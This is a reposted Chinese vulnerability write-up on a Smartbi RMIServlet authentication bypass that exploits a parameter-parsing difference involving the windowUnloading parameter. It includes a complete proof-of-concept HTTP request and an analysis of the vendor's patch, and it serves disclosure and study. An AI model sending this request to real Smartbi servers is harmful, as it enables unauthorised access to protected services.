常态期讨口子1: Smartbi windowUnloading 绕过分析
2024-7-22 20:47:2 Author: mp.weixin.qq.com(查看原文) 阅读量:0 收藏

这段常态化时期,每天都整理和学习历年能打穿小朋友的漏洞,本文转载自https://exp.ci/2023/07/03/Smartbi-windowUnloading%20%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/

文章概述

本文档讲述了作者在2023年5月向CNVD提交了一个关于Smartbi的漏洞,并详细记录了该漏洞的挖掘过程和修复情况。Smartbi的一个主要安全措施是通过CheckIsLoggedFilter过滤器来保护RMIServlet,该过滤器通过检查类名、方法名和参数来验证请求的合法性。然而,作者发现了一种绕过此防护的方法,通过在请求头中的windowUnloading参数中设置恶意值,使得Smartbi跳过了正常的参数验证流程。作者利用这一漏洞创建了一个PoC(Proof of Concept),最终导致系统调用了恶意的Bean。为了修复这个漏洞,Smartbi引入了新的WindowUnLoadingAndAttributeRule规则,该规则首先检查请求中是否存在windowUnloading参数,然后比较其与请求中定义的类名和方法名是否匹配,从而防止绕过攻击。修复后的系统会返回403错误,有效阻止了攻击。

关键要点

  • Smartbi发现了一个登录代码逻辑漏洞,并于7月3日进行了修复。

  • 漏洞存在于RMIServlet的防护机制中,可以通过windowUnloading绕过校验。

  • 修复后的版本新增了WindowUnLoadingAndAttributeRule规则,可以有效防止类似漏洞的发生。

  • 漏洞修复后,访问被拒绝的响应码为403。

0x00 背景

五月份给 CNVD 提了个洞,Smartbi 在今天修了,记录下当时挖洞的过程。

2023-07-03 修复登录代码逻辑漏洞。

0x01 漏洞分析

Smartbi 针对 RMIServlet 的防护主要是通过 CheckIsLoggedFilter 完成的,整体的校验逻辑为:

  1. 获取 className、methodName、params

  2. 校验上述参数,判断是否符合预期(在白名单内)

Smartbi 会尝试通过多种方式获取并解析这三个参数,下面是解析顺序(上一个解析失败则向下顺延):

  1. 通过 windowUnloading 进行解析

  2. 通过 request.getParameter 进行解析

  3. 通过 request body 解析

  4. 通过 encode 参数解析

其中任何一个步骤解析成功了,都不会进行下一个步骤。接下来看看 RMIServlet 是怎么解析的:

这里一共只有三步:

  1. 通过 request.getParameter 解析

  2. 通过文件上传的格式去解析

  3. 通过 request.getAttribute 解析

从解析流程中不难看出这里存在一个差异绕过的问题,第一步使用 windowUnloading 对参数进行设置,同时在请求的参数里也进行设置,那么在 CheckIsLoggedFilter 里拿到的就是 windowUnloading 里的参数,而 RMIServlet 拿到的却是请求里的参数。

构造 POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /smartbi/vision/RMIServlet?windowUnloading=className%3DUserService%26methodName%3DautoLoginByPublicUser%26params%3D%5B%5D HTTP/1.1
Host: 192.168.137.131:18080
Content-Length: 71
Cache-Control: max-age=0
If-Modified-Since: 0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://192.168.137.131:18080
Referer: http://192.168.137.131:18080/smartbi/vision/index.jsp
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=CEA21F9B9E23D9F15CC94B4B01718B5B
Connection: close

className=DataSourceService&methodName=testConnectionList&params=%5b%5d

出现 PARAM_COUNT_ERROR 表明已经调用到了恶意 Bean:

0x02 补丁分析

Smartbi 新增了 WindowUnLoadingAndAttributeRule 规则来修补这个漏洞,它会先判断请求中是否存在 windowUnloading 参数,接着判断请求中是否存在 className 和 methodName 等参数,如果存在,则判断二者解析出来后是否相同。

漏洞修复后,返回包为 403:


文章来源: https://mp.weixin.qq.com/s?__biz=MzU0MzkzOTYzOQ==&mid=2247489305&idx=1&sn=853e7109a1705396b2611e75f3cf2b92&chksm=fb029a41cc751357ea1792d06d1886a7f96a410741cb9188bc5192c1cb8347d66fc19a893804&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh